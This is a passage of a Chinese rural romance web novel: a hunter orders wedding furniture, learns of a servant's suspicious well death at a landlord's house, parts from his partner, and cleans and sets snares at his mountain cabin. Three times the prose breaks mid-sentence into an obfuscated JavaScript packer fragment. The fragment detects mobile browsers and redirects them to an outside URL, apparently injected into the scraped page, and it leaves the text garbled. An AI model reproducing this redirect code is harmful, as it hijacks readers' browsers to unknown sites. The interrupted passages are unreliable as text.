得知是去双井屯找木匠,杨庆生不急着走,干脆跳下车,抬肘往霍凌身上撞一下,挤眉弄眼地笑道:“难得遇见你下山一回,可得和我说实话,我听人说,你小子娶夫郎了?” 霍凌失笑,“你消息倒灵通,谁告诉你的?” “这你甭管。” 杨庆生看着比霍凌还高兴,“快说说,我那小嫂人如何?” “你改口倒快。” 霍凌乐道:“人自然是好的。” 他想了想,多说一句。 “性儿好,且擅灶,大个儿也亲近他,总之挺投缘。” 杨庆生听前面两样还兴致勃勃,听到最后只剩无语。 “我还当你有了夫郎好了毛病,怎还三句话不离你家大个儿,真应了你哥那句话,你干脆在山里和大个儿拜把子,别下来了。” “我早说说亲要寻个能跟我进山,不怕大个儿的人,你又不是头一天知。” 霍凌说罢,杨庆生敷衍地连连点头。 “是是是。” 换得霍凌捶在肩膀上的一拳头。 说好赶在霍凌进山前,晚上一起吃几口酒,杨庆生方换了件事讲。 “你去双井屯,最好直奔穆老爹处,别乱转悠,我来时路过,看见有镇上的捕快去了嘞,一共两个人,挎着大刀,端是骇人。” 霍凌眉峰一耸,“怎还去了捕快,双井屯出什么案子了不成?” 要知道现今镇上的捕快,辖管镇里事尚且忙不及,村屯里有个偷鸡摸狗的小事,大都由村长做主处置,能让捕快下乡来的,定不是小案。 杨庆生摇摇头,“这谁知道,总之你小心些。” 平头百姓最怕和衙门里的人扯上关系,尤其霍凌这等看着就不好惹的主儿。 “谢了,我早去早回。” 霍凌走到半路,还卸了腰间的匕首揣进怀里。 及至双井屯的地界,先看到村口的古井,旁边围了一圈栏杆。 这处古井出甜水,百年不枯,都言此地风水佳,因此双井屯是附近村屯里人最多的。 然而眼下确如杨庆生所言,村道上不见人,户户院门紧闭,生怕惹麻烦的模样。 他快步绕过几户到了穆家门前,抬手叩门,听得里面有人靠近门缝处问:“是谁在外头?” “我是下山村霍家的,来寻穆老爹打两样箱柜儿。” 穆老爹的夫郎知道霍家,也对霍凌有印象,从前来过,加上个子高模样俊,想忘也难。 遂替他开了门,神色警醒,让霍凌赶紧进院,低声道:“今天屯子里不太平呐。” “可是出了什么事?” 霍凌不动声色地问。 穆家夫郎撇了嘴,摆摆手。 “大户里的事,咱可不敢乱讲。” 10. 烙大饼 穆家老夫郎的话说得模棱两可,但整个双井屯还有哪家称得上是大户? 无外乎是地主沈家。 事涉地主老爷,怕是丢个值钱的盖碗儿也劳动得起捕快,霍凌一下子没了兴趣,不欲多打听,只想早办完事早回村。 他跟着穆家夫郎一道,在后院搭起的木工棚下见着穆老爹,说明来意。 穆老爹乐呵道:“成亲好,成亲好,是该添置两样大件儿,走,去看看你带来的木头料。” 长林县多山,便也多林木,制家具来得比别处实惠,不少走商喜做这生意。 且有专门的“放排人”,凭大江水路将成千的木材运抵关内。 说回木材,当中最常见的属榆木和松木,后者价廉但质软,年份长了就不耐用,要想拿得出手,还得是榆木。 而新砍下的木头太湿,做不成料,需得放上少说一年才得用。 似穆老爹这样的木匠,都会在自家后院囤放好些木头,若是主顾不自带料子,就需用他的,再多给一份料子钱。 但更多人为了省银钱,亦会叫上几个相熟肯搭把手的青壮,去山上伐木,反正家家院子都够大,几根木头总还是放得下。 存了木料,儿孙娶亲、姑娘哥儿嫁人,都可拿来制物件,家里盖新屋,更是不能缺一根好梁木。 以及还有一桩,就是棺材木,许多人早早就备下了,只等岁数大了打成合心意的棺,过身后直接用。 穆老爹上前去,绕着霍凌带来的那棵木看了两圈,抬手敲了敲,“没毛病,可用,你们赶山客的眼睛毒,寻的都是一等一的好料,干得也透,打成箱柜儿不好裂的。” 霍凌颔首道:“只是不知今日定下,哪日才能取。” “十日后你来,保管就好了。” 穆老爹看准了料,唤他去前面择式样。 霍凌比划着,说要一只带柜樘的平角柜,再添一口能挂铜锁的大衣箱。 两样都放在卧房,前者能存些零散日用,后者能收得下被褥衣裳,寻常人家有这两件足矣。 以后东西多了,或是添了孩子,再置办就是。 穆老爹边听边在一块木板上用炭条画道道,估计只有他自己能看懂,画完把炭条往耳朵上一别。 “乡里乡亲,给你实在价,两样算一处,你给我八两半银,定钱二成。” 霍凌还待饶价。 “老爹,那半两银不能抹了去?” “你是自带了料,不然十两打不住嘞!想你也知,这样两件去镇上木作行得要上多少,人家还不似我好说话。” 不过卖家喊的价儿总有往下压的空当,霍凌费了半晌嘴皮子,到底又省了五钱银,不过转而便换了只新木盆儿,已是现成箍好的,倒了水不见漏,提着就能走。 山上有他自用的盆,但不好给颜祺用。 今日先买上,明日他背上山去,下回扛家具时也能省些力。 “有劳老爹,到日子我携着银钱再来取。” “成,路上慢些。” 穆老爹得了新生意,把霍凌送到门外道上,远见皂衣捕快从沈家那头走来,不过是另一条道,并不会经过穆家门前。 “这也没瞧着拿了什么人去镇上。” 穆老爹踮脚看了看,自嘟囔一句。 霍凌也奇怪,可谁又真敢上去问。 他见那捕快是要出村的样子,特地等了等,待人走了方离开。 —— 霍家屋顶,炊烟不断。 颜祺见霍凌来家,恰赶上第一张干烙的大饼出锅,他用刀切一个角下来,按着家里人头分成几份,先给凑到近前的霍凌递上。 “你尝尝,热乎的最好吃。” 霍凌道:“我还没洗手。” 颜祺动作一顿,善解人意道:“那你先去洗?” 霍凌哽住,因没得逞,只得自己厚着脸皮开口,“多麻烦,你举着,我咬一口就成。” 这不就是要人喂,颜祺看了看左右,见哥嫂和侄女都不在,抿着嘴往前送了送。 霍凌这回忍不住笑,张嘴咬掉一个尖,嚼了两下,口中含混道:“用了苞米面?这饼够厚实的,发得绵软,外面的硬壳子焦香。” 又看剩下的大半张,奇道:“外面还有花样呢。” 颜祺语气怀念,“以前跟我娘学的,顺手就用擀面杖压了,这样烙时上了色好看,还能更脆些。” “算来好久没做了,先烙一张试试,你们吃着好,我多多烙上几张,除了你带走的,家里也能吃两日。” 说罢让霍凌吃自己手里剩下的,霍凌也是不客气,连咬了两下,剩最后一块时才直接叼着走。 颜祺在干净抹布上蹭了下手,端着余下的去给霍峰一家子尝。 以前叶素萍也烙干饼让霍凌带上山,不过是那种圆圆的杂面饼,经得住放,就是吃前要在汤里使劲泡一泡,或是先喝口水润一润,干啃格外费牙口。 苞米面则都做成了窝头,扎实顶饱,有野菜的季节,再剁些野菜混进去,撒点盐吃起来有滋味。 颜祺烙的大饼她还真没做过,今日也跟在旁边学了两手。 其实道理都差不多,只是各人手法不一,做出来的吃食也便有着不同,称不上谁好谁坏。 大饼送了一圈,吃了的都说好。 颜祺有了信心,回到灶屋,预备拿葫芦瓢继续舀面。 霍凌帮他搬出面口袋,实打实地舀了不少出来。 “这些面,估计能做个七八张,你带五张走,然后再给你炒个茄子酱。再多不是不能带,只是恐放坏了。” 想来也就最后一回,下一次他就能跟着上山,日日都能吃到现成新鲜的。 面粉里倒上水,搅成面絮后揉成面团,盖上盖子放到一旁醒发。 颜祺转而将泡好的干茄条切作细细的丁,茄子酱要熬上一阵子,得早些做,不然占着锅耽误家里做饭。 锅热后,估摸着往锅里多加了些菜油,一是茄子吸油,而是油要多放些酱才不易坏。 看着多,但一想到未来十几日霍凌在山上只能拿这个下饭,摊到每顿饭上也不剩多少,就不觉浪费。 油汪汪的香气里,霍凌被叫去屋内,和哥嫂两个看日子。 霍峰一早也出门,去了村里李仙婆家,李仙婆今年都奔着七十去了,是下山村有名的老寿星,家里供着保家仙,能掐会算,外村常有人来找。 看日子是小事,又是同村的,没多久就得了结果。 “仙婆选了两个日子,让咱们家里商量着办,三月里好日子不多,宜嫁娶的只一个十八,一个廿六。” 叶素萍算了算道:“十八好似有些赶,今儿就初六了,不过也不是不行。” 她笑道:“老二你十五下山,中间这十几日,我和你大哥一概张罗好,你只管当你的新郎官儿,旁的啥也不用操心。” 霍峰也说,三月廿六的话,一下子拖得太长,能趁早就不赶晚。 “再过十来天天也暖了,届时祺哥儿养好身子随你上山,正是赶趟儿。” 霍凌亦觉得廿六太晚,都够他下山两回的,哥嫂的话正说到他心坎儿上。 “那就定十八,正巧穆老爹那处也赶得上,辛苦大哥和嫂子了。” 日子有了,一家人皆是喜气洋洋。 叶素萍是长嫂,家中无长辈,这些事尽归她操持,只是先前未曾办过,唯恐办砸了。 这不下午就拿着针线活计,去齐家找齐红梅串门子,打听当初齐家老二娶金氏时摆席面的章程,譬如请哪个灶人,请几个帮工,借多少桌椅碗碟。 霍家吃亏在亲戚少,从老太爷起到霍老爹都没有兄弟,娶的媳妇也是外村的,人过世了,多和那边淡了走动。 要是亲戚多,很多事不消发愁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691360|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必开口都有人抢着来干活。 一晃到了晚间,各家吃罢饭食,杨庆生拎着酒来同霍凌闲坐。 得知霍家已择了日子,笑吟吟道:“我今日回来,赶得正是时候,也省了家里打发人去镇上送信儿。” 霍凌给他添上酒。 “我也有日子没见弟妹和你家大俊,可一向都好?” “都好,昨晚上我和青曼还说起,商量商量给你和小嫂备什么礼,至于大俊,别提了,皮小子一个,也不知随了谁,不是招猫就是逗狗,成日追着他屁股后面揍三回。” 杨庆生说到烦恼处,端起酒碗和霍凌一碰,品咂了两口。 “这话说的,总不是随了弟妹,你难不成忘了自个儿小时多淘。” 杨庆生咧嘴乐,“你也不差,回头要是生个小哥儿就罢,若是小子,你等着他上房揭瓦。” 喝罢提了筷,桌上两碟下酒菜,都是颜祺张罗的,一碟子大葱、芫荽和绿辣子拌的老虎菜,一碟子五香煮花生,吃得杨庆生感慨道:“可见你的福气来了,天王老子都挡不住,祺哥儿多贤惠,说是擅灶也当真不假,这小菜拌得,是那个滋味儿。” 又问:“他能不能吃酒,要是能吃,一道进来吃些。” 关外这边女子哥儿能喝酒的多,其中不少海量,汉子都比不过。 “他吃着药呢,哪能吃酒,不单是他,我答应他也不能吃多了。” 霍凌面前这一碗酒,放在从前早就下去一多半,结果现下还有半碗多。 “哎呦,这就管起来了?” 霍凌端起碗和他碰一下,笑骂道:“就像弟妹不管你似的,吃你的去,有酒有菜都堵不住你这张嘴。” 两人喝了一个时辰,颜祺始终在东屋里,和叶素萍点着灯缝衣裳。 他缝白棉布裁的里衣,叶素萍则在剪鞋样,她方才描了颜祺的鞋样,说做一双予他,留待成亲那日穿。 妯娌之间互赠鞋脚本也常见,颜祺没多推拒,心里想着回头也给对方做一双。 还有上次霍凌拿回来的布头,能拼一拼给英子制个手绢儿,攒两朵小头花。 大个儿百无聊赖地趴在几人脚下,任由霍英东一下西一下地给它梳毛,耳朵时不时抖一抖,显然留意着西屋的声响。 等那边有了脚步声,大个儿猛地坐起来,家里人都和杨庆生相熟,见状一道出去送人。 霍家和杨家不算远,月光照得小路铺一层银霜,霍峰本意让霍凌去送送,担心杨庆生喝多了,后者摆手道:“哪里多了,一斤都没喝到,大峰哥你回去吧,我自己溜达着,正好散散酒气,省的我爹和小爹念叨。” 又跟叶素萍与颜祺作别,二人客气地同他点点头。 送走杨庆生,时辰不早,霍凌明日还要早起上山,一家人不多说话,洗洗去睡。 颜祺本想进屋收碟,发现已让霍凌送了出来。 “杨大哥吃着可还好?” “他夸你灶上手艺厉害,比镇上食肆里的小菜也不差什么,没看都吃得精光。” 两人就着水刷干净碗碟放进柜中,洗漱罢,人也有了困意。 颜祺揉了揉眼,又提霍凌检查了一遍明日要带上山的东西。 一罐子茄子酱,细封了罐口,挖一勺就能配饼佐粥,五张烙饼又大又厚,扎实得很,一张切成四块,以霍凌的饭量,一日就得吃下一张。 算着太少,还有大个儿在,晚食后又额外添了一锅不用发面就能做的窝头。 此外还有灯油和新买的木盆,为怕忘了,零散的东西都搁在了盆子里。 “一共没几样,总不能丢了,过来睡觉。” 霍凌抖开被子喊人过去,他们另一床被彻底不用,叠成方块搁去了炕尾。 颜祺乖乖坐在炕边脱了鞋,却听霍凌用有些犹豫的语调问道:“当初去双井屯沈家的那几人里面,可有和你相熟的?” 11. 暂分离 “认识,但算不得熟,当初跟着赵官媒出村的人里,除了明哥儿,其余都是在县城安济坊里遇见的。” 安济坊各县城都有,乃官府或当地富商出资营建,专管赈济孤老慈幼、贫民乞丐等。 颜祺先前得了两颗城中医馆郎中给的药丸子,也正是在安济坊中。 他见霍凌眉头深锁,不由问道:“怎的突然提起这事?” “你可记得白日里我从双井屯回来,提起那边去了两个捕快,听说是沈家出了案子。” 颜祺点头,霍凌继续道:“我当初赶着回来,没多打听,不过大杨倒是听到些风声,刚刚吃酒时同我说了说,似乎和新进沈宅的下仆有关。” 好事不出门,坏事传千里,尤其两个村相隔不远,多有走动,有心的过去找个熟人一打听就门儿清。 颜祺心里猛跳一下,“是什么案子,杨大哥可说了?” 即使不熟,也是知晓名姓,打过交道的关系,不是全然的陌生人,因霍凌神色凝重,连带颜祺也紧张起来。 “听说是人命案子,没了一个小哥儿,自己跳了井。” 颜祺脸色刹那间煞白,霍凌忙道:“不过也指不定是道听途说。” 面前人默然半晌,抬眼看他。 “当初一道来下山村的本有六个人,三个姑娘,三个小哥儿,除了我和明哥儿,剩下四人都去了沈家为仆,你要说姑娘,我还不一定知道是哪个,但要说是小哥儿,只能是那个人了。” 颜祺好半天回过神,很是唏嘘。 又同霍凌说起,原本明哥儿也被选中了,但因那哥儿从中作梗,没去成。 霍凌头一回听说这事,跟着后怕。 “你和明哥儿都是因祸得福,要是你没生病,那沈家必也会要了你去。” 那些个大户人家,挑仆从也不是谁都要的,头一条模样要周正,其次要脑瓜子伶俐,手脚利索,若是还能会些个手艺,譬如针线刺绣、灶上工夫,指不定还有机会在主子面前露脸。 “我只记得他姓田,是个掐尖要强的性子,也是因这个缘故,和我们在安济坊时吵过几嘴,教他记在心里,故意不想让明哥儿去沈家。” 要说为何吵,现今看来不过是鸡毛蒜皮的小事,根本称不上什么深仇大恨。 “我还想,以他的性儿去了大户,要么吃个大亏,要么出人头地。” 哪里想得到区区几天就丢了性命。 “他那样的性儿,怎会无缘无故的跳井?” 哪怕颜祺和田哥儿打的交道并不算多,乍听之下,也不太相信。 他咬了下唇道:“定是受了人欺,那沈家人多半不是个好的!” 霍凌思索道:“倒是没听说过沈家苛待下人……” 当然了,这等事就算真有,也不会轻易流出,教外村里的泥腿子们知晓。 “不过确实蹊跷,一般那等大户家里出了人命官司,哪有主动往外捅的,一个新买的下仆,就算真是寻不见了,去了何处又有谁会发现?就算真的被发现,与其说人没了,不如说人逃了。” 颜祺也觉奇怪,认定田哥儿恐非自尽。 可人已没了,现今怎么琢磨也是无用,终究只是叹了口气。 “只能盼他下辈子投个好人家。” “你是心善的。” 霍凌揉了揉他的眉心,“不说这些,睡觉了,看你这模样,我倒后悔夜里说与你听。” 灭了油灯,颜祺裹紧了被,怕夜里做噩梦,手指摸着小葫芦闭上眼。 霍凌明日就上山,一别数日,想想多是舍不得的情绪。 今晚原想着再想法子赚点甜头尝,却被这桩事给打乱了,小哥儿定是没心情。 遂作罢,老老实实睡了一夜。 —— 这趟上山日子短,更要多挤出时间来做事。 天还不亮,霍凌轻手轻脚地起了身。 大个儿还没完全睡醒,见霍凌起了,它兴奋地绕着腿边转,尤其见霍凌拿起了上山时采用的背篓,尾巴快要甩出残影。 霍凌怕它叫出动静,伸手捏了下它的嘴筒子,比了个“嘘”的手势,又指了指要带去山上的东西。 大个儿明白过来,听话得趴在行李旁守好。 霍凌拍拍它的脑袋,打算洗把脸,进屋给自己和狗摸点垫肚子的吃食。 意外的是颜祺也起了床,悄无声地走出来,倒把霍凌吓一跳。 “你起了也不喊我一声。” 怕吵醒东屋里的一家三口,颜祺用气音说话。 “喊你做什么,从前我也是自己赶早出门的。” 霍凌顺手摸了摸矮炉上的水罐,昨晚剩的水自是早就凉透了,他想凑合喝两口,被小哥儿轻轻推开手。 “生把火不费事,那水都冰凉了。” 说罢坐下来,摸出火石擦着了火,寻了根细柴,填一把干叶子进灶膛里烧。 “我给你煮几个鸡蛋带着,昨晚上大嫂都数出来了,你吃两个,再带两个上山,今天吃完就坏不了。” 霍凌听他小声念叨,熨帖极了。 “以前这时候,都没人和我这么说话。” 上了山更别提,近处只有呜呜叫的山风和呜呜叫的狗。 小哥儿轻抬唇角,“以后都有了。” 煮出来的四个鸡蛋,霍凌剥了两个,和颜祺一人一个分了,又吃了一大块热过的烙饼。 配饼的咸菜是昨天做晚食时,颜祺用油炒的芥菜疙瘩,比直接切来吃更入味,还经得住放。 “那我走了,你回屋去吧。” 霍凌检查好腰间的匕首,系紧绑腿,把背篓甩去了后背上。 另还有个鹿皮水囊,颜祺将里面也灌满了水,足够喝到上山到家。 大个儿见他迟迟不来,独自在大门和屋门之间跑来跑去。 “我送你到门口。” 颜祺紧了紧外面披的衣裳,驱着大个儿往外走,霍凌心道,自己来往山上山下好些年,还是头一回迈不动步。 等真到了院外,仍踟蹰不前,在小哥儿探询的目光下,霍凌俯下身,在他的眉心孕痣处轻轻亲了下。 哥儿生孕痣的地方不隐秘却敏感,颜祺分明轻轻一颤,脸颊“蹭”地一下红透。 这毕竟不是卧房炕上,而是家外的村路旁,即使这个时辰根本没人,也足够他紧张。 然而霍凌亲完却还没有走的意思,颜祺愣了愣,总算无师自通。 他红着脸踮起脚,也在汉子的脸颊旁印了印唇。 霍凌只觉一记温软转瞬即逝,他喉结微滚,恨不得当场把小哥儿扛走带上山。 …… 一别七日,山里乍看还是之前的模样,细看却能发现地上的错草拔高了不少。 这等杂生的野草,但凡能照到太阳便会疯长,现下只差一场大雨,待浇过一遍,一夜之间就能铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691361|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿一片山坡。 霍凌在几处地方都看见了鹿粪,再往高些走,又瞧见几个聚在一起的狍子窝。 白龙山上除了赶山客,也有不少猎户,像是走到野兽常出没的地方,就要小心着有没有陷阱和兽套。 不过一行有一行的规矩,猎户下了夹设了套,都会用刀在附近树上撕下一块树皮做记号。 走了一个多时辰,脚程过半,霍凌停在一处山溪旁,舀水搓了把脸,洗去热腾腾的汗气。 山中流水终年不上冻,周围的积雪化干净,仔细看能看见不少大小动物的足印。 大个儿也踩着石头去喝水,喝完后又跳进水里来回跑了两圈才罢休。 霍凌等它撒欢的时候也没闲着,抬头将附近的树上看了个遍,发觉其中有棵树上面生了一朵比手掌还大的白灵芝,他掂量了下高度,凭他的身高,离地丈远就能够得到,便不等去拿脚扎子,直接徒手往上爬了一段,探手摘了下来。 白龙山里的灵芝分好几种,最值钱的当属紫灵芝,其下是赤灵芝,这之外的各样灵芝虽叫这个名字,实际和大蘑菇没区别,有些还远不如榛蘑之类的鲜蘑好吃。 像手里这朵白灵芝,入药没什么用处,不过可以晒干存着,吃之前拿水泡开了炒肉。 想着颜祺肯定没吃过白灵芝炒肉,霍凌把它朝后背篓子里一扔,决定接下来几日遇见了就多攒些,拿下去做喜宴上的菜。 “汪!汪!” 大个儿浑身沾满了水,不知疲倦地在前面小跑,霍凌手拿一根粗木棍,没走几步就敲一下路过的树干,这样搞出来的动静加上大个儿的狗叫,足以让附近的野兽不敢靠近。 其实深山老林里,人怕野兽,野兽也怕人,除非运道差,不小心撞了个面对面,实际大多数时候都是彼此相安无事,各不相见地过活。 眼看水囊里的水喝了个干净,霍凌终于爬到了半山腰,得见自家的山中院落。 和山下常见的村屋一样是连排三间屋,自从这里只剩霍凌一个人,他睡东屋,西屋就给了大个儿,在里面蓄了乌拉草垫子,摆了饭盆和水盆。 山里林密风大,几日不扫院里地上已杂乱不堪,全是外处卷进来的短枝碎叶,屋里积灰更厚。 他转了一圈,大个儿也跟着仔细闻嗅,确定没有野兽来过的迹象,方才放心地松口气。 直接坐在门槛上歇了两刻钟,霍凌缓过劲,揉了揉有些发胀的腿,起来寻来扫帚打扫院子,末了把扫出来的东西拢成一堆装进口袋,正好拿进灶屋用来烧火。 火苗燃起,水汽蒸腾,热气一路顺着烟道通向火炕内部,徐徐烘干山间积攒的湿气。 坐在灶前的霍凌掰开手中恢复暄软的烙饼,夹一筷子茄子酱塞进去,狠狠咬了一口。 大个儿同样饿得不轻,围着霍凌踏起小碎步。 他掰了一块烙饼,加上茄子酱的汤汁给它拌了拌。 “我自己都不够吃,便宜你了。” 说完戳一下狗鼻子,“吃完这顿,自己出去抓兔子去,回来我给你烤了。” 像大个儿这体型的狗,一天的饭量比一个壮汉还要大,纯靠家里剩饭根本养不起,所以在山上养它反而更省事。 除去打野食,霍凌还扛上来了自己那份口粮里的苞米面,得了空就蒸点窝头,人和狗都能吃。 大个儿闻见香味哪里顾得上搭理霍凌,直接转过身埋头干饭,把盆子舔得咣咣直响。 12. 大扫除 杂物落地,激起阵阵尘土。 霍凌抬起袖子抹一把汗,弯腰又将脚底的几根烂木头抱起,大力朝屋外一丢。 上山第一天,他没急着进山赶山。 以前住久了不觉得,如今有了夫郎,要正经在山里过日子了,再看这院子确实脏得可以,连他自己都忍不下去,索性撸起袖子干活。 山上地方大,所以当初院子围得很是宽敞,他先收拾起两间杂屋,一间作柴房,里面和外面墙根下都堆满了柴,倒是还好,只需拿扫帚挑去房梁和角落的蛛网,扫扫灰就罢。 另一间就难了,平常懒得进来,有什么东西顺手往里一丢,收拾起来才觉头痛。 就说刚刚那几条糟木头,也不知当初为何没直接丢进炉子里烧了。 还有什么破了洞的蓑衣,叠在一起的烂柳筐,一节一节的麻绳,几块碎了的砖头…… 里面不少东西霍凌还有印象,大都是爹娘在时家里的日用了。 他边收拾边怀念,最后一身的灰,院里也多了两个杂物堆。 一边是留下还有用的,一边是扔掉也不觉可惜的,随后浅扫了扫干净空出来的泥地,打一盆满水进去泼上压一压尘。 大个儿不解主人在做什么,进进出出帮了好一阵倒忙,自己去了屋后山上玩耍,等霍凌收拾出个样子,它也叼着断了气的林鼠回来了。 “吐出来。” 霍凌刚洗完手,见狗嘴里露出个耗子尾巴,嫌弃地朝大个儿说话,又指了指地上。 大个儿听话得松了嘴,连着三只死林鼠掉了出来,每个都肥肥的,有巴掌大,因为被它含在嘴里,沾了口水后简直埋汰得没法看。 霍凌皱着鼻子,拎起林鼠尾巴到一旁给它洗干净剥了皮,削了树枝串了,丢进灶膛里烤。 大个儿哈着气,在旁边趴着等待,大尾巴呼啦啦地摇,看这模样就是没有多饿,定是已经在山里吃饱了生食,又捡了几个回来吃熟的。 要么说狗太聪明也不好,精得很,快赶上个会打酱油的小崽子了,吃饭还讲究个生熟。 等大个儿吃完了加餐,霍凌也啃完了手里的饼,打扫房子这事不能停,一停就不想干,因此他一鼓作气,下午举着鸡毛掸子把睡觉的东屋和西屋也拾掇出来。 炕上铺的草席也旧了,他摸了摸,盘算着接下来几日有空时做个新的替换上。 以前不耐烦做的家事,现在忙一天还有的是牛劲。 亏得大哥不在,要是在,定要为此打趣他好几日。 —— 深山之中,林木参天。 淡如烟的晨雾褪去,早起的霍凌看着焕然一新的小院,满意地摸了摸大个儿的狗头。 “走,咱爷俩今天上山。” 这次在山里的时间本就不多,他装好脚扎子,打算去先前没怎么走过的林子看看,多爬几棵树。 要下兽套的麻绳也准备好,趁早找地方安上,不说定能套到东西,但只要有,就能给席面省些个肉钱。 下套子的本事是他跟他爹霍老栓学的,而霍家赶山和捕猎的本事,最早能追溯到霍老太爷霍平原。 那可是白龙山上的传奇人物,至今说起霍平原,村里仍有老人能津津乐道与你讲半晌故事。 “你当那时候和现在一般太平?人要是在山下有活路,何必要上山和野兽争口食,往前数三辈儿,这地方鸟不拉屎,压根没有人管,只有关内活不下去的流民停下脚,扎了根,搭几间屋子垦荒糊口。” “可山那头的鞑子入了冬没粮了,就翻山来烧村抢粮,汉子抓去做壮丁,女子哥儿就地糟蹋了,好看的掳回去,或是直接杀!” 老人说到这里,往往要摇着头唏嘘许久,再嘬巴两口土旱烟。 “人给逼得没办法,只得躲进山里去,为了唬住那些鞑子,好让他们不敢轻易进山,是霍平原自认还有几分身手和胆气,对外宣称落草为寇,扯大旗做了山匪,说是山匪,实际只为了给自己和乡亲们寻个活路罢了。” 那时候躲在山里,无论男女老少都要习武,五六岁的小儿都敢提大刀。 只是山上能挖野菜种野果,野物遍地,更是不缺一口肉,唯独种不出粮食,以及人吃五谷杂粮,总有个头疼脑热的时候,药材也是缺的,需下山用山货换。 后来有几次,下山换粮换药的时候遇见不平事,霍老太爷带人提刀砍过几个仗势欺人的恶人脑袋,鞑子过境的时候,更是没少取人性命,凶名传出,愈发没人敢招惹。 又过几年,朝廷终于出了一员大将,带兵打跑了鞑子,然而后来数年里,仍时有小队的鞑子扰境,霍老太爷最后仍旧死于鞑子刀下,没能得个下山养老的善终。 幸而留下个儿子,没有绝了后。 不单霍家,现今长林县不少人的祖辈,皆是这般埋骨白山。 这也是为何长林县多年来地广人稀的缘由,实是早年里人死的多,生的少。 收回思绪,霍凌看向脚下的山地,搓了两下枯草落叶。 北地无尽的大雪早已将一切洗净,太爷年轻时的故事对于他们这辈人而言已经很久远,可回回在山里行走时,都会不可避免地想起来这些听过的故事。 他走走停停,观察着山地上野兔、榛鸡、狍鹿以及野猪等经过的痕迹。 当中小的猎物需下“跳套”,借助有韧劲的细树枝子,待兔子野鸡误入后树枝收紧弹起,能高悬在半空中,省的一些个吃肉的野物直接叼走。 大一些的猎物下“?子”,在相距一尺多的树桩子之间设绳套,不过这招在冬日大雪天里更好使,现在雪化了,那些个吃草的狍鹿也没那么傻。 现下的时节要捕狍子、野鹿或是黄羊,多在挖出来的陷阱里设套,因陷阱不能挖太深,摔断了腿的野物活不长,没法带下山,若没有绳套,野物求生时一跃而起,往往能就此逃生。 陷阱倒是有现成的,霍凌里里外外,爬上爬下,设了五处跳套,三处陷阱的绳套,这才拍拍手领着大个儿去采腰子草。 …… “嫂子,这晒的是什么?” 霍凌走了两日,颜祺也已做好了一身新里衣。 他将过了遍水的衣裳在院子中晾起,扯平后抱着盆往回走,见叶素萍提着一个口袋,把里面的东西往簸箕上倒。 他见状也放下盆,擦干净手上的水去帮忙,伸手一道铺平时,发现都是些干巴巴的细草,拿起看了看,也没看出个什么。 “这个是白龙山上树生的一种草药,叫腰子草,天一冷它也不枯,只是皱巴起来,老二凡是遇见就采上几把,这不我正好收拾出来一口袋,多半是被他忘了,赶紧拿出来晒晒,省的一直放在屋里,回头又找不着。” 这一口袋的腰子草看看占满一张簸箕,颜祺好奇道:“为何叫腰子草? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691362|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶素萍打量左右,见霍英那丫头不在,同颜祺小声道:“这东西啊,是味补药,多是汉子喝的。” 见颜祺好似还没听懂,叶素萍干脆直白道:“吃什么补什么,那你想,汉子补腰子,能为了什么?为了晚上嗷嗷有劲儿呗!” 话说到这份上,颜祺不可能不明白,闹了个大红脸。 叶素萍却不知他和老二究竟圆没圆房,这等事做哥嫂的总不好去问,见他脸红,只当他刚成亲,面皮还薄。 她挑下眉毛,“不过年轻汉子不咋喝这个,用不上。” 颜祺顿时觉得手里的草烫手,摸了摸耳朵仍不知该说点什么好,正在这时,院子的大门被人叩响。 他如蒙大赦,“我去开门。” 叶素萍目送他去,笑着摇摇头,把簸箕捧去一旁的木头架子上摆好,旁边还有一簸箕辣椒和菜干子。 这等干的东西,哪怕前一年已经晒透了,还是要时不时倒出来见见光,去去潮气,且能记得赶紧吃。 颜祺小跑两步去开门,路过晾起的衣裳,新制好的白色里衣滴着水,待看清门外人后惊喜道:“你怎来了?” “在家这两日闲些,我婆母和长岁都说让我来看看你,我这不就厚着脸皮来认门了。” 院外,肖明明腼腆一笑,他越过颜祺往霍家院里看一眼,有些紧张地悄悄问:“都有谁在家?” 颜祺拉过他的手,“就我和大嫂还有小侄女在家。” 一听还有别人,肖明明的步子不怎么敢往里迈,颜祺安慰道:“我嫂子极好的性儿,你跟我进来就是。” 而叶素萍在院里等了几息,还没等到人进来,往外走两步,方见着两个哥儿在门口说话,可把她愁坏了。 愁的是颜祺这哥儿太有分寸,都住了这好几日,好似依旧不敢正儿八经地把此处当家,没办法自在做事。 她主动上前招呼,又让颜祺赶紧领人进屋坐。 “家里无事,你俩好生说说话。” 待叶素萍进来放下一盘唠嗑吃的南瓜子,颜祺把人送出门又回转,总算见肖明明舒口气,在炕上松了松盘起的腿。 